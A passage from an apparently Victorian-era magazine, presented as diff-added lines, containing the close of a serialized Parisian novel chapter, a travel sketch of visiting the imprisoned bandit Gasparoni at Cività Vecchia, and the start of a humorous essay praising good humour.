+in France by slaves of the masculine gender. Monsieur Simon, the sober
+_maître d'hôtel_, and Lindor, the pert page, sometimes suggested to
+their mistress's mistress that an additional petticoat would be far
+more advantageous to the establishment than entertaining a workwoman
+fifteen days in the month for the care of the household linen; but
+the _femme de chambre_ would not hear of it. She chose to be the sole
+Helen in Troy; and, though devoid of personal views on either page or
+butler,--the cook in his white paper _casquette_, or the coachman in
+his flaxen wig,--resolved to admit no rival near the throne of her
+soubrettish autocracy. It was quite plague enough to have the house
+frequented by Eugène de Marsan, (the handsome cousin-german of the
+ugly defunct ex-colonel of cuirassiers, Monsieur le Baron Nicodême de
+Gimbecque,) and Claude de Bercy, (the popular author of seventy-five
+successful vaudevilles,) without encumbering the little _entresol_ (or
+its double entrance, double staircase, and corridor, appropriately
+named in Paris "of escape,") with such lumber as a chambermaid.
+
+"Has Madame Oudot sent home my _foulard peignoir_?" demanded Madame la
+Baronne of her waiting-maid, as she lay reclining in her marble-bath,
+whose tepid warmth served to diffuse through the little room the aroma
+of the eau de Ninon which Mademoiselle Aglaé was sprinkling on the
+surface.
+
+"_Non, madame!_ Yet I was particular in making her promise it for
+yesterday, knowing that Madame expected a visit from Monsieur Eugène
+before she dressed to take her ride."
+
+"Tiresome woman!" cried the lady in the bath,--an apostrophe which
+Aglaé of course applied to the unpunctual _couturière_. "Give me the
+new number of 'Le Bon Ton,' and in five minutes ring for my chocolate,
+and bring in my warm linen,--not sooner, or it will be cold before I am
+ready."
+
+The waiting-maid obeyed; but finding on the marble slab in the corridor
+the _Constitutionnel_, damp from the press, she held it for a moment
+over the drying-basket of the bath-linen, and returned to her lady,
+taking the liberty, as she slowly paced the room, to cast an eye upon
+the news of the morning.
+
+"_Sacristie! ce cher Monsieur Boncœur!_ another audience of the
+king!" exclaimed Mademoiselle Aglaé, presenting the paper to her lady,
+who extended to receive it, a languid hand, humid with the perfumed
+exhalations of the bath.
+
+"Doubtless about his title," she replied.
+
+"_Title!_" inquired the waiting-maid, fearing she might be about to
+forfeit the envied distinction of belonging to the only household of
+quality in the hotel.
+
+"Didn't I tell you that our neighbour overhead had purchased the estate
+of D'Offémont, and was trying to obtain the royal sanction to assume
+the name? Ay, exactly: the King, I perceive, has created him a baron;
+not D'Offémont, however,--he is to be Baron de Boncœur. What people
+this government _does_ ennoble!"
+
+"Monsieur Boncœur has one of the greatest names in the monied
+world," remonstrated the waiting-woman: "he is mayor of his
+_arrondissement_, and _marguiller_ of the parish."
+
+"He may be beadle or drum-major, for anything I know or care," said
+Madame de Gimbecque with sublime contempt; "but I am convinced that
+in the time of the elder branch he would never have shaken the dust
+from his feet in the palace of the Tuileries. Ha!--a critique on
+Claude's new play. Pray remind me, by and by, to send to Monsieur
+de Bercy the note-case wadded with vitiver I have been embroidering
+for him. _Voyons! 'Sophie de Melcour_, a drama in three acts. We
+regret--a-hem!--feeble--diffuse--flat--a-hem!--dialogue full of
+platitudes--characters full of exaggeration--style stilted--catastrophe
+contemptible--false taste--corrupt morality.' (This must have been
+written by some particular friend!) 'We cannot take our leave of
+Monsieur de Bercy without counselling him to turn his mind to some
+other branch of literary occupation than the stage, for which the bent
+of his genius evidently disqualifies this pains-taking but ill-judging
+young man.' Bah!--Eugène de Marsan's doing, I am convinced! He knows
+I dote upon theatrical entertainments; he knows that I bespoke
+half-a-dozen boxes to give _éclat_ to Monsieur de Bercy's piece, and
+thinks to disgust me by this disparagement. Eugène does not know me; he
+does not appreciate the generosity of woman's nature! His abuse of poor
+Claude's play has put me more in conceit with it than ever. Certainly
+the style of 'Sophie de Melcour' is rather stilted, and nobody can deny
+the exaggeration of the characters. _I_ expected that the catastrophe
+would cause the damnation of the piece; and as to the dialogue, I could
+scarcely sit it out without a yawn. Aglaé! on second thoughts, Monsieur
+de Marsan is going out of town, and has been plaguing me for the last
+six months for some little trifle of my own work. I will give _him_ the
+_vitiver_ pocket-book: there will be plenty of time hereafter to get
+up another for Monsieur de Bercy. People so devoted to letters have
+no time to think of embroidered pocket-books. I dare say Bercy would
+like one bought at the Petit Dunquerque twice as well. There is no more
+sentiment in him than in one of his own farces."
+
+Mademoiselle Aglaé was of the same opinion. The _Constitutionnel_
+having decided that Claude's seventy-sixth vaudeville was not to
+run, she decided that the author of the vaudeville was also at a
+stand-still. The loss of his _droits d'auteur_, which would probably
+deprive her of the gold chain and cross promised by her lady's love,
+determined _his_ forfeiture of the embroidered note-case!
+
+While the sacred mysteries of the toilet are proceeding in the
+bath-room, let us take a peep at the equivocal gentleman of the
+third-floor; no longer arrayed in velvet or sparkling with solitaires,
+but engirt in a scanty, washed-out printed calico dressing-gown, torn
+in the button-holes, and short enough to display at the open wristbands
+the sleeves of a dirty checked shirt, covering a yellow shrivelled
+skin, apparently washed out, like the calico. A pair of flannel
+drawers, yellow as arnotto, covered his shrunk shanks; a pair of old
+shoes, cut down into agonizing slippers, his stockingless feet; while,
+enfranchised from the spruce, lustrous _toupet_ adorning his brows
+when exposed to day's or gas-light's garish eye, his mean, narrow,
+Emperor-of-Austrian forehead recedes into a bare crown, whose denuded
+ugliness adds thirty years to the age of the full-dressed sallier-forth
+of the night before. Even his mouth--that critical verifier of age--is
+strangely oldened; for his set of _Desirabodes_ is still freshening in
+a glass of water on the chimney-piece, while the mumbling, toothless
+gums, fallen on each other, allow the lanky sallow cheeks to collapse,
+like the sides of a half-empty balloon.
+
+Such was the unsophisticated man of the individual whose "getting-up"
+(as Claude de Bercy would have called it) for public representation
+was one of the miracles of the Palais Royal; a bazaar which, like
+the pedlar from the fair Lavinian shore, hath "complexions in its
+pack," and youth and beauty per yard, per ell, or per ounce, exposed
+in all its plate-glass windows. It was, as we have already stated,
+usually half-past seven of an evening when the full-dressed effort of
+art started forth along the Boulevards; it was as invariably three
+o'clock in the morning, minus a quarter, when it returned again to
+lay aside its adornments, and subside into the lean and slippered
+pantaloon. Ma'mselle Berthe had been three hours snoring when, with a
+patent key, he nightly let himself in, to deposit his _Desirabodes_,
+false fronts, whiskers, and calves on his dressing-table; and in
+the secretaire beside it realities of a more solid nature: bags of
+silver pieces, rouleaux of golden ones, and now and then a flimsy
+I O U from some English flat, or an I O U addressed by the Bank of
+England to millions of English flats, which he rarely ensnugged
+within the secret-paper-drawer of his _bonheur du jour_ without
+pronouncing a benediction over its senseless form, varying in
+intensity of expression, indeed, according as the document happened
+to be accompanied by bags of silver or rouleaux of gold. When wholly
+unaccompanied,--sole trophy of his midnight gains,--the fiendish
+expression of the little mummy's puckered visage deepened into
+downright demonism.
+
+Meanwhile it was the morning duty of the sour _femme de confiance_ to
+summon the shattered remains of humanity, which she called master,
+to breakfast. But let it not be inferred from the squalid nature of
+his personal costume that the board of Monsieur Georges was spread
+penuriously: his outward man regarded the gratification of others;
+his inward regarded his own. The colour of his dressing-gown tended
+not a jot to his selfish enjoyment; but the amber coffee and smoking
+cream, the spongy bread and _présalé_ butter, the slices of hard
+_saucisson d'Arles_ and tender _côtelettes à la minute_ in their
+silver _réchaud_, regarded exclusively his own five senses. It was
+to ensure to his daily use these sweeteners of human existence that
+the _chevalier d'industrie_ toiled in his loathsome calling from
+eight o'clock to two per night; it was to ensure them hot and hot,
+and upon the most moderate terms, that he bore with the angular and
+acid female who presided over his domestic arrangements the remaining
+eighteen hours of the twenty-four. A younger and fairer _femme de
+ménage_ would have exacted a nicer toilet, and the daintiest half of
+the dainties wherewith it was her duty to provide his table. But the
+_chissie_ not only calculated the weight of provisions to be consumed
+to the thirty-second fraction of an ounce, but was content to eat the
+drumsticks of the chickens, the wings of the woodcocks, as well as to
+support the unsightly spectacle of his bald head and nauseous costume.
+
+"Of what were you disputing last night with the old witch, Madame
+Grégoire, when I passed the porter's lodge?" demanded Monsieur Georges
+of the perpendicular shrew seated opposite to him, as he swallowed
+to his own share the twentieth of the two dozen oysters of Murênes
+provided for their breakfast.
+
+"I only stepped in to pay her the twenty francs for Guguste's monthly
+board."
+
+"But what was there in _that_ to beget a squabble?" demanded the
+toothless man, in the mumbling chuckle which nothing but long custom
+enabled his housekeeper to understand. "Had she a complaint to make
+against the lad?"
+
+"No one has complaints to make of him but _you_," said Ma'mselle
+Berthe, (forgetting her own venomous impeachment concerning the
+coffee and cream.) "We disputed because Madame Grégoire, like an
+ill-conditioned woman as she is, presumed to insult me."
+
+"And what then?--you can make her _étrennes_ pay for it."
+
+"_You_ can: but what compensation will it be to _me_ that you diminish
+her New-year's gift from twenty francs to ten? She had the impudence
+to ask me to have an eye to the people on the third-floor! As if I was
+paid to do the spy-work of the _propriétaire_!"
+
+"And who _are_ the people on the third-floor?" demanded Monsieur
+Georges, who knew and cared very little for the proceedings of any
+house save the one under government licence in the Rue de Richelieu,
+amid the blaze of whose Corcel lamps, and glare of whose gilded
+cornices, he had the honour nightly to assist in fleecing the disloyal
+subjects of Louis Philippe and the greenhorn foreign visitors to his
+realms.
+
+"How should I know?"
+
+"Because Madame Grégoire, doubtless, informed you."
+
+"She told me it was a lady and her daughter, about whom she had her
+doubts."
+
+"_What_ doubts?--that they were disreputable people?"
+
+"Bah!--that they were _beggars_!"
+
+"Then why don't the landlord get rid of them?"
+
+"How can he?--they pay their rent."
+
+"Then what did she want you to find out?"
+
+"How the young lady employs herself of a morning, and why the mamma
+did not choose to receive the visits of that excellent man Monsieur le
+Baron de Boncœur."
+
+"Is the first-floor made a baron?"
+
+"To be sure he is!--everybody is made something now-a-days. If you
+had the spirit of a mouse, you would call yourself the Chevalier de
+Georges."
+
+"I _have_ the spirit of a mouse, which is to 'ware trap!" chuckled the
+dilapidated croupier. "I had a little adventure one season at Bagnères
+de Bigorre, under the name of the Chevalier St. Georges, which the
+police may not happen to have forgotten. But to return to the banker:
+what can he have in view by visiting a couple of beggarly women on a
+third-floor above the _entresol_?"
+
+"You are as bad as Ma'me Grégoire! That is just what she inquired of
+_me_."
+
+"But though you mightn't choose to acquaint _her_ with what had come
+to your knowledge--Hark! a ring at the bell," cried Monsieur Georges,
+interrupting himself as he shuffled out of his seat, and prepared to
+retreat into his adjoining chamber. "If 'tis any one for me, say I'm
+gone out, and shan't be at home till evening."
+
+"Don't flurry yourself," replied the housekeeper, moving towards the
+ante-room; "'tis only Guguste, come up to varnish your boots and bring
+your _toupet_ from the barber's. Don't you hear him scratching the
+panel? That is the signal by which I know his ring from any other
+person's."
+
+And no sooner had she charily opened the door, and prepared to lock
+it again after admitting him, than the quick-witted _gamin_, in his
+fustian blouse, and barret-cap, though thread-bare, set jauntily on one
+side, insinuated himself into the hated apartment.
+
+"What makes you so late, sirrah?" demanded the mummy in the washed-out
+calico dressing-gown, grudging the foundling even the savoury steam of
+the viands that still circled in the eating-room.
+
+"'Tis only half-after eleven, sir," replied the drudge. "You desired
+there might be no noise in the apartment till half-after eleven."
+
+"'Tis three minutes after the half-hour."
+
+"Mademoiselle does not choose me to come in, till breakfast is cleared
+away, and the things ready to be washed up," said Guguste, not caring
+to hear.
+
+"In that case you have no right to be here now. But you know my orders,
+that you are to enter this room with my dressing things every day
+at half-past eleven. Where have you been idling for the last three
+minutes?"
+
+"I have not been idling."
+
+"Where have you been working, then?"
+
+"Helping to put up a truckle-bed in Madame Grégoire's back-room. Her
+son Jules returned at five o'clock this morning from India."
+
+"From India, child?" demanded the gouvernante, peeling the only slice
+of saucisson left in the dish, and insinuating it between lips as thin
+as itself.
+
+"From Algiers in the Indies. Monsieur Jules serves in the twenty-third
+regiment of the line; and, having suffered considerably from the
+climate, has obtained his furlough."
+
+"Another lazy useless hanger-on in the house! God help us!" ejaculated
+the housekeeper. "There, go and arrange your master's things in his
+dressing-room, while I put away breakfast. I will leave the china for
+you to wash up, outside the kitchen-door. Go!"
+
+And he went,--neither whistling, however, nor with any want of thought.
+Between his discoveries concerning the Courson family, and the
+wonderful events he had just heard recited in the metaphorical military
+prose of Monsieur Jules, (_alias_ the slang of the twenty-third
+regiment of the line,) Guguste had a forty-horse power of cogitation at
+that moment labouring in his brain!
+
+        (_To be continued._)
+
+
+
+
+THE LAST OF THE BANDITS.
+
+
+I much admired, and have often thought of, two pictures of Horace
+Verney's, which I saw in the _Exposition des Tableaux_, of I forget
+what year, at Paris; in truth to nature, in conception and character,
+they leave nothing to desire. They were painted at Rome; and represent,
+one, the attack of brigands,--and the other, the death and confession
+of the captain of the gang after their falling into the hands of the
+dragoons.
+
+Much has been written, too, on the subject of these outcasts of
+society; but no description of their manner of life and habits can
+compare with Washington Irving's "Painter's Story," or rather Charles
+de Chatillon's own adventures, when carried off from Lucien Bonaparte's
+villa at Frescati, in mistake for that prince.
+
+The times are grown degenerate; brigandage is no longer a profession;
+bandits, like the Mohicans, are become extinct, and from Terracina to
+Forli, travellers have now-a-days no chance of meeting with a Paolo
+Ucelli, a Fiesole Ogagna, a De Cesaris, or a Barbone. I remember
+traversing that tract at a period when I expected every moment to see
+some of these freebooters in their picturesque costume peep from behind
+every projecting rock. Civilization and morality have stifled all
+sentiment;--the Neapolitan frontier is become a Salvator Rosa without
+its figures.
+
+When I landed at Cività Vecchia from the steamer, I inquired of the
+landlord of the inn whether the redoubtable Barbone was still an inmate
+of the fortress; and, on his answering in the affirmative, obtained
+an order to visit the place. Under the escort of one of the Pope's
+carabiniers, behold me then in the shadow of that colossal edifice!
+
+It was built by Michael Angelo, and, like all his works, whether in
+architecture, statuary, or painting, is stamped with the grandeur of
+his genius. Its stupendous bastions, its ponderous gateway, seem built
+for eternity. Every stone is a rock such as Briareus and his earth-born
+brothers might have hurled against Jupiter, in that Titanic war
+described with such sublime obscurity by Hesiod.
+
+The gendarme was, as is common to all the tribe of cicerones,
+talkative--not respecting the building, for he had never heard of the
+great architect, but concerning its then inhabitants. He would, if I
+had listened to him, have recounted the particulars of Signor Barbone's
+exploits during the seventeen years that he ravaged like a pestilence
+the Pontifical states. But I expected to obtain information from the
+fountain-head, and checked his loquacity.
+
+Our hero had, twice before his present captivity, made terms with
+the Papal government. Once he was placed with Marocco and Garbarone,
+two worthy confreres, in the seminary of Terracina; and, just as the
+priests began to consider him an example of contrition and penitence,
+bore off the youths into the mountains, where this wolf of the fold
+barbarously murdered all those whose fathers would not, or could not,
+pay the exorbitant ransom demanded.
+
+One only of the prisoners escaped the proscription, and the
+circumstance is a curious one. They were bound two and two, and after
+great privations and fatigues,--for they were dragged into fastnesses
+almost inaccessible,--an order was given for their execution. One
+had already fallen by the stiletto, when his companion invoked Sant'
+Antonio, the patron saint of brigands, and that name saved him. It is a
+hint worth knowing. Should any future Barbone arise, remember to call
+upon Saint Anthony!
+
+Barbone afterwards became keeper of the château of St. Angelo, the
+great prison at Rome; but quickly relapsed into his old practices, the
+last of which exceeded in ferocity the rest.
+
+Not far from Forli, an Englishman of distinction, whose name I will not
+mention, was stopped on his way to Rome. They plundered the father, and
+carried off the daughter. On reaching his destination he put a price on
+Barbone's head; but one morning a box arrived, which, instead of his,
+contained that of the daughter!
+
+The revolting recollection of this ruffian's cruelty made me pause as
+I stood in the portal and thought of that of the Inferno, for which
+it would have been no bad model; and thought, too, of the giants who
+guarded it, whose arms, as they wildly brandished them, looked in
+the distance like the vans of windmills (the original, by the by, of
+Cervantes'). They would have been in excellent keeping with the place.
+For a moment, I say, I hesitated about entering; but curiosity got the
+better of terror, and I resolved to visit the Bagno, a name which in
+the month of August it well merited.
+
+In the court-yard were walking several of the brigands who belonged to
+their monarch's train,--his satellites; but I did not stop to address
+them. I desired my conductor to show me to the head-quarters of the
+general, in the interior of the prison.
+
+I found there a great many cells or holes, not unresembling
+dog-kennels, arched and formed in the massive walls; and, among the
+rest, the den of the Cacus. He was lying at full length on the floor,
+which might be eight or ten feet in length; and behind him, almost hid
+in shade, was crouching another brigand, leaning on his elbows, and
+stooping low. He was taking his siesta. This bandit was, I afterwards
+found, Barbone's prime-minister. They were inseparable--the tiger and
+his jackal, or rather, perhaps, wolf.
+
+Barbone raised himself on one arm at my approach, and eyed me with all
+the hauteur of a prince. He was dressed like the rest, in the usual
+uniform,--cap, jacket, and coarse trowsers. He by no means corresponded
+in appearance with one of Horace Verney's brigands. He was a man of a
+middle height, corpulent in his person, with a countenance that showed
+no trace of crime: his features were handsome and regular; and his
+hair, long, black, and curly, hung over his shoulders. He certainly set
+all Lavater's theories at defiance. As to his head, I leave that to the
+phrenologists.
+
+He seemed little inclined to enter into conversation; and, fettered as
+he was, I should have felt as little disposed to trust myself in his
+den as in that of a bloodhound. However, perceiving that I did not go
+away, and stood at the entrance, he at last had the courtesy to come
+forth. I, too, was inclined to address him civilly, with the hope of
+knowing something of his history and character; so I said to him,
+
+"You are the famous Barbone, of whom I have heard so much, and long
+wished to see?"
+
+"_Gasparoni, a servirlo_," said he.
+
+The reply made me smile, for I doubted not he would have served me, if
+set at liberty, in his own peculiar way.
+
+"You smile," said he; "perhaps you are come to mock me?" He folded his
+arms, and looked at me sternly.
+
+"I had no such intention," I replied. "You call yourself Gasparoni. I
+thought your name had been Barbone?"
+
+"So they styled me," he answered, "from the long beard which I formerly
+wore."
+
+"Pray may I ask you how you happened to be taken?" I observed
+inquiringly.
+
+"_Preso!_" said he contemptuously; "I was never taken. Not all the
+troops in the Pontifical states could have taken me. None but eagles
+could have reached our resorts. There we wanted for nothing, besiege
+us as they might. The peasants were our friends, and brought us plenty
+of provisions. We annihilated party after party that they sent against
+us, till the soldiers would fight no longer. Many of them entered our
+band, which at one time consisted of nearly one hundred. But I got
+tired of that savage life. In the summer months it was well enough; but
+to brave the winter among the mountains,--to sleep on the snows with
+nothing but our mantles to shelter us,--to be deprived of our wives and
+children,--not to be able to dispose of our booty without great risk,
+so that even money was often of no use to us! I could point out where
+many a napoleon and doppia d'oro is buried. And yet," said he after a
+pause, "that life, with all its privations and miseries, is preferable
+to confinement in a prison. Oh! you cannot fancy what the want of
+liberty is to us mountaineers!--to rot in a dungeon,--not to have the
+free use of our limbs!" Here he clanked his chains.
+
+After this harangue, which he delivered with great volubility, he
+folded his arms again, _à la Napoleon_, and a gloom came over him. He
+seemed to be lost in thought.
+
+"You have said," I observed, "that you were never taken. How then came
+you here?"
+
+"Here!" he said with emphasis; "I was trepanned--betrayed! The Pope
+broke his faith; my confessor, his sacred word. I was promised
+pardon,--full pardon for myself and my brave brothers. We were
+betrayed--sold; and yet we live in hopes that the holy father will
+redeem his promise."
+
+"Yes," thought I; "if he _had_ done you justice, you would not be here."
+
+"Your name," I said flatteringly, "is well known in Europe. You are the
+Napoleon of bandits, and worthy of being classed with De Cesaris."
+
+"De Cesaris," said he contemptuously, "_era un miserabile!_ He took
+a poor painter for a prince. Ha! ha! Gasparoni would not have made
+such a blunder." Here he laughed again with a consciousness of
+superiority. "The fool, too," said he, "to allow the artist to paint
+his portrait!--it was like a man's putting his name on a stiletto, and
+leaving it as evidence against himself."
+
+"Perhaps," said I, "like him, you have no objection to the world's
+knowing something of your story. Charles de Chatillon has immortalized
+him; he is become an historical character."
+
+"I have no such ambition," said he. "It matters little what the world
+thinks of me; but you shall have my history, if you have any curiosity
+to know it."
+
+"The greatest," I replied.
+
+"It is a short one," observed the bandit.
+
+"I am the son of Rinalda, better known in the Roman annals than I
+am. She was cruelly injured. Deprived of her lover, Peronti, whom
+they made a priest, she took a hatred to all mankind--a just one, and
+taught me to revenge her wrongs on the whole human species; brought
+me up to brigandage as a profession,--and as good a one as any other,
+and as honourable! I went very early into the mountains, and joined
+a band of brave fellows, which, on the death of their captain, I was
+unanimously chosen to command. Chosen from my merit, I governed them
+by opinion. They knew that I was brave and prudent. I had many times
+an opportunity of showing that I had all the qualities that constitute
+a good general: had I commanded an army, like Napoleon, I should have
+been as invincible. Once we were besieged in the upper ranges of the
+Abruzzi by a company of Austrians, at the time those _maledetti tyranni
+d'Italia_ had possession of Naples. We were enclosed on three sides
+by the troops, and on the other was a precipice of many hundred feet,
+that plunged, without a shelf or ledge of rock, into the plain. I was
+at that time detached with nine of my companions; but such was the
+nature of the crag on which we bivouacked,--so narrow the access to it,
+that only one person could mount the pass at a time. This our enemies
+knew, for they lost several men in making a reconnaissance. But our
+provisions failed us, and we were on the point of giving ourselves up,
+for fear of starvation, when I discovered an eagle's eyrie, and, to the
+wonder of our foes, contrived, by plundering it of hares and kids, to
+support nature for many days. At last the eaglets flew; and then our
+distress returned, and with it the thought of surrender.
+
+"I recollected, however, that opposite to where a single sentinel
+had been posted there was a chasm--a fissure--a deep ravine, the
+top of which was covered with wood; and one dark night, leading my
+little band, I crawled on hands and knees without being perceived,
+and poniarded the vidette:--he fell without a groan! We then, after
+overcoming incredible dangers, reached the brink of the abyss. My troop
+eyed the gulph with terror. It was narrow; but at the bottom roared
+a mountain torrent, that from its immeasurable depth looked like a
+silver thread. I came provided with a rope, to which, when we dare not
+go down into the plain, we are in the habit of attaching a basket,
+which we lower to the peasants for provisions; to this rope I adjusted
+a heavy dagger, and hurled it across the chasm. By good fortune, it
+got entangled at the first throw among the brushwood, and stuck fast
+between two of the branches. Having drawn it tight, I fastened it
+to a tree on our side of the ravine. My companions watched me with
+anxiety, wondering what next I was about to do. I spoke not a word,
+but suspended myself over the abyss; and, hand over hand, reached the
+opposite bank in safety. All followed me, and with like success, save
+one, whose strength or courage failed him: he unhappily sunk into the
+boiling gulph, but he was dead long before he reached it; so that his
+sufferings were less than had he been taken by the Tedeschi. What a
+supper we made that night! and how soundly we slept! That night--that
+sleep repaid all our toils!
+
+"Great was the astonishment of our foes when they found we had escaped
+their snares; and you may by that escape form some notion of the
+pleasures of a brigand's life.
+
+"But this was not the only time we were near falling into the power
+of the soldiery. In all my seventeen years of service we were never
+betrayed but once. You know that one of the great trades in our
+mountains is that of Carbonari. The wood is of no value but to make
+charcoal, which principally goes into the markets of Rome and Naples.
+We always kept on good terms with these gentry. One night we were
+incautiously--contrary to our usual practice--drinking with them,
+without having placed a single sentinel, when we found ourselves
+attacked by an armed party,--not, however, before I heard their arms
+rattling in the branches; so that we had time to seize our muskets.
+They were much more numerous than ourselves, but they paid dear for
+their attack: I killed four with my own hand. I was wounded; but that
+is nothing--I am full of wounds: look here, and here, and here! The
+Carbonari fled; but we surprised them afterwards. Who can escape from
+those intent on revenge!--a time always comes, or soon or late. So with
+them. We retaliated--terribly retaliated; not a man escaped! Not that I
+lifted a hand against them,--none ever fell by Gasparoni but in action."
+
+As he said this, his stature seemed to grow; and it was clear that he
+thought himself a hero. He waited, expecting, no doubt, that I should
+express my admiration of his exploits; but I remembered the last, and
+said to him,
+
+"You forget the daughter of the Englishman--her head----"
+
+"_Questo Inglese era un impertinente_," replied he. "Why did he not
+send the ransom? He knew, or ought to have known, the laws of brigands;
+we could not have spared her life had we wished it. No; it would have
+been an act of injustice--of gross partiality."
+
+Here some of the brigands, who had heard his words, came up, and by
+their gestures gave confirmation of their general's words.
+
+"And who among the band," I inquired, "was the executioner; for, like
+Louis XI, I suppose you had your Tristan?"
+
+He pointed to the back of the cave, and called Geronymo, the figure
+whom I had first observed. He came forward.
+
+"_Son quì!_" said the man with a hoarse guttural voice, that might have
+been mistaken for the howl of a wolf.
+
+I looked at him attentively, and not without a sense of horror and
+disgust. His long and bony, yet athletic form, might have served as a
+model for a gladiator, for the muscles protruded like one of Michael
+Angelo's anatomical figures: his cadaverous sallow countenance pale
+with crime,--his eyes deep sunk, and overhung by thick bushy eyebrows,
+and emitting a gloomy light as within caverns,--his thin and straight
+upper lip, with the lower underhung like that of a dog-fish, fitted him
+well for the bourreau of Signor Gasparoni.
+
+"So you were the executioner of the Englishman's daughter, Geronymo,
+eh?" I inquired.
+
+"_Si, signor_," said he, with a grin of satisfaction, that betrayed a
+pride of office, and a superiority over his fellows.
+
+"_Era molto bella!_" observed one of the bandits behind me.
+
+I looked over my shoulder. The wretch who spoke was a little corpulent
+man, and reminded me of one of Rubens' satyrs. There was a most
+revolting leer on his countenance, which suggested to my mind not her
+death,--which was a mercy,--but the miserable fate that preceded it. I
+remembered the story of the peasant girl in the Tales of a Traveller,
+and shuddered.
+
+Turning round again to that iron-visaged wretch, Geronymo, I said to
+him,
+
+"Have you no remorse, Geronymo, for all the murders you have committed?"
+
+"Remorse!" he replied, as though he did not understand the meaning
+of the word: "ought not a good soldier to obey the word of command?
+Whenever the captain said '_Amazza!_' _amazzava_."
+
+"_Avete amazzato molte?_" I asked.
+
+"_Si, signor, moltissime_," he replied, with the greatest nonchalance.
+His eye lighted up, as he spoke, with a gloomy joy.
+
+I turned from him as from a basilisk, and almost thought I heard the
+death-rattle of one of his victims.
+
+As I was about to leave the Bagno, I met a capuchin, their confessor.
+It was the same who had persuaded Gasparoni to deliver himself up to
+the Roman authorities. I took him aside, and entered into conversation
+with him. He was a man advanced in age, and of a physiognomy such
+as I have observed to be common to almost all ecclesiastics in
+Italy,--heavy, dull, and unmeaning. He told me that Gasparoni and
+most of his band were very religious, and went regularly to mass and
+confession. He added, that he had petitioned the holy father for their
+liberation, and that he had no doubt, if released, that they would now
+make good subjects.
+
+"The Pope," I observed, "knows them too well by past experience to
+trust such wretches at large again."
+
+What tales might not this man reveal! but I found he was disinclined to
+be communicative, and in a hurry to commence his duties. I wished him
+therefore a _buon giorno_.
+
+When we have voluntarily shut ourselves up in a Bagno with its unhappy
+inmates, it seems as though the return to liberty was interdicted to
+us,--that we are the victims to some snare, and that the iron gates
+of the prison are actually closed on us for ever. But a moment's
+reflection dissipates the fearful illusion, and we abandon ourselves,
+as Lucretius describes those who behold a storm at a distance, to the
+pleasure derived from our own security; or as we do when leaning over
+the parapet of a precipice. But, at the same time, I rushed through
+the open doors like a captive on being delivered from his chains, and,
+having emerged from the gloomy gateway, breathed more freely, inhaled
+with a new delight the sea-breeze, and stood watching the sun sink
+slowly through the vaporous atmosphere till it had totally disappeared
+below the waters. Then I returned to my inn, reflecting that I had
+perhaps just seen the last of the bandits. And yet the scene I had
+witnessed left no impression behind it such as I had expected; it
+furnished no stores to feed the imagination or to awaken the enthusiasm
+of art. The poetry of banditism has perished in the citadel of Cività
+Vecchia.
+
+
+
+
+THE GLORIES OF GOOD HUMOUR.
+
+BY GODFREY GOODFELLOW.
+
+    "Est Ulubris, animus si te non deficit æquus."--HOR.
+
+
+What a charming thing good humour is! How superexcellent and
+inestimable a quality, or character, or attribute of the mind! Yes, I
+unhesitatingly declare there is nothing like it. It is the only true
+key to the casket of happiness, the real source of all this world's
+enjoyments, the potent mithridate of misery, the balm of life, the
+care-dispelling Nepenthe, the rich restoring heavenly elixir drawn by
+wisdom from the alembic of content.
+
+The good-humoured man is the only true philosopher. He alone knows
+how to enjoy life. He is wiser far than all the grave _Saturnine_
+star-gazers and moralists in the world. Is he not? Why, of what use
+is all our philosophy if it does not enable a man to be merry and
+live happy? Psha! to give way to grief, to allow the mind to succumb
+to despondency, is certainly to exhibit our poor humanity in one of
+the most ridiculous positions in which it could be placed. Diogenes,
+domiciled in a tub, cuts rather a curious figure amidst the sages of
+antiquity; and so do a host of others: but, certainly, Heraclitus in
+tears exhibits the weakness of human nature more glaringly than any of
+them. Grieving, forsooth! Why, 'tis just as if a man, plunging into the
+sea, should tie a stone about his neck in order to enable him to swim
+the better. Grieving is indeed a bad sort of a safety-jacket in a "sea
+of troubles." No: give me the good-humoured man; the fine, gay, jovial
+fellow, whom no disasters can depress; the true minion of merriment and
+fun, whom no sorrows can sadden; the genuine votary of "heart-easing
+mirth," whose mind, like the lark at sunrise, is ever cheerful and gay;
+
+    "Whose wit can brighten up a winter's day,
+    And chase the splenetic dull hours away."
+
+Give me such a man; his philosophy is worth all the dogmas, and rules,
+and precepts, that ever were expounded in the Academe, the Porch, or
+the Lycæum.
+
+What should I be now--or, rather, _where_ should I be--but for my
+good humour? Alas! perhaps sailing the Styx in company with Charon;
+or, not having the ferry money, wandering disconsolate upon the
+banks, (for it is only the good-humoured, such as Menippus, that can
+manage to get over passage-free.) But here I am now, a fine, fat,
+rubicund fellow,--and all, I say it unhesitatingly, owing to my good
+humour. Good humour, thou hast indeed been to me a true, and kind,
+and trusty benefactress! Oh! thou fair, and sweet, and lovely thing,
+in whatever form thou holdest communion with mortals: whether thou
+art an immaterial essence that blends at will with our mortal bodies
+or whether thou art something more loving and palpable,--that light,
+blithe, blue-eyed maid,
+
+    "Whom lovely Venus at a birth,
+    With two sister graces more,
+    To ivy-crowned Bacchus bore;"
+
+or whether a wild spirit, a lovely Ariel of the air, thou transfusest
+thyself into all the beautiful things of this world,--the green fields,
+and the silvery streams, and the sunny skies,--and then, rich with the
+sheen of their loveliness, comest into the presence-chamber of the
+mind, fixest thyself in the great senate of the senses, cheering and
+gladdening all their emotions!--whatever thou art, good humour,--be
+thou a bodiless essence, a lovely maid, a lively spirit, or any
+other modification of the mysterious and the beautiful, I love thee;
+love thee as dearly as ever Orpheus loved his Eurydice, Petrarch his
+Laura, or Waller his Sacharissa. Thou art the harbinger of comfort,
+the inductress of joy, the dove that bringest to mortals the olive of
+happiness and peace. Without thee what were life?--a dull, dreary,
+uninteresting scene,--a bare, bleak, barren, joyless, empyreanless----
+
+Stop--stop--stop--stop!--halloo, Pegasus! where the devil are you going
+to? Soho! softly; not quite so high if you please; much as you admire
+good humour, do, pray! stay a little nearer to the confines of this
+"visible diurnal sphere."
+
+"Who are you? where do you come from? You have no right to be dealing
+out such fulsome panegyrics about good humour."
+
+Yes, but I have, though; I am universally acknowledged to be the
+most good-humoured man on town. The pure blood of the Allwits, the
+Easymirths, and the Goodfellows, flows in my veins. I am heir to a
+large property in Merryland, and my residence is at Jollity Hall,
+a picturesque, romantic spot in the county of Greatlaughtershire.
+I intend to start at the next general election for the borough of
+Gaybright; when I shall bring in such a measure of reform as shall
+astonish all our modern menders of constitutions.
+
+I have every right, then, to descant upon the merits of good humour;
+and I do so the rather because men do not sufficiently appreciate them.
+
+Now I fully agree with Dr. Johnson in thinking that "good humour is the
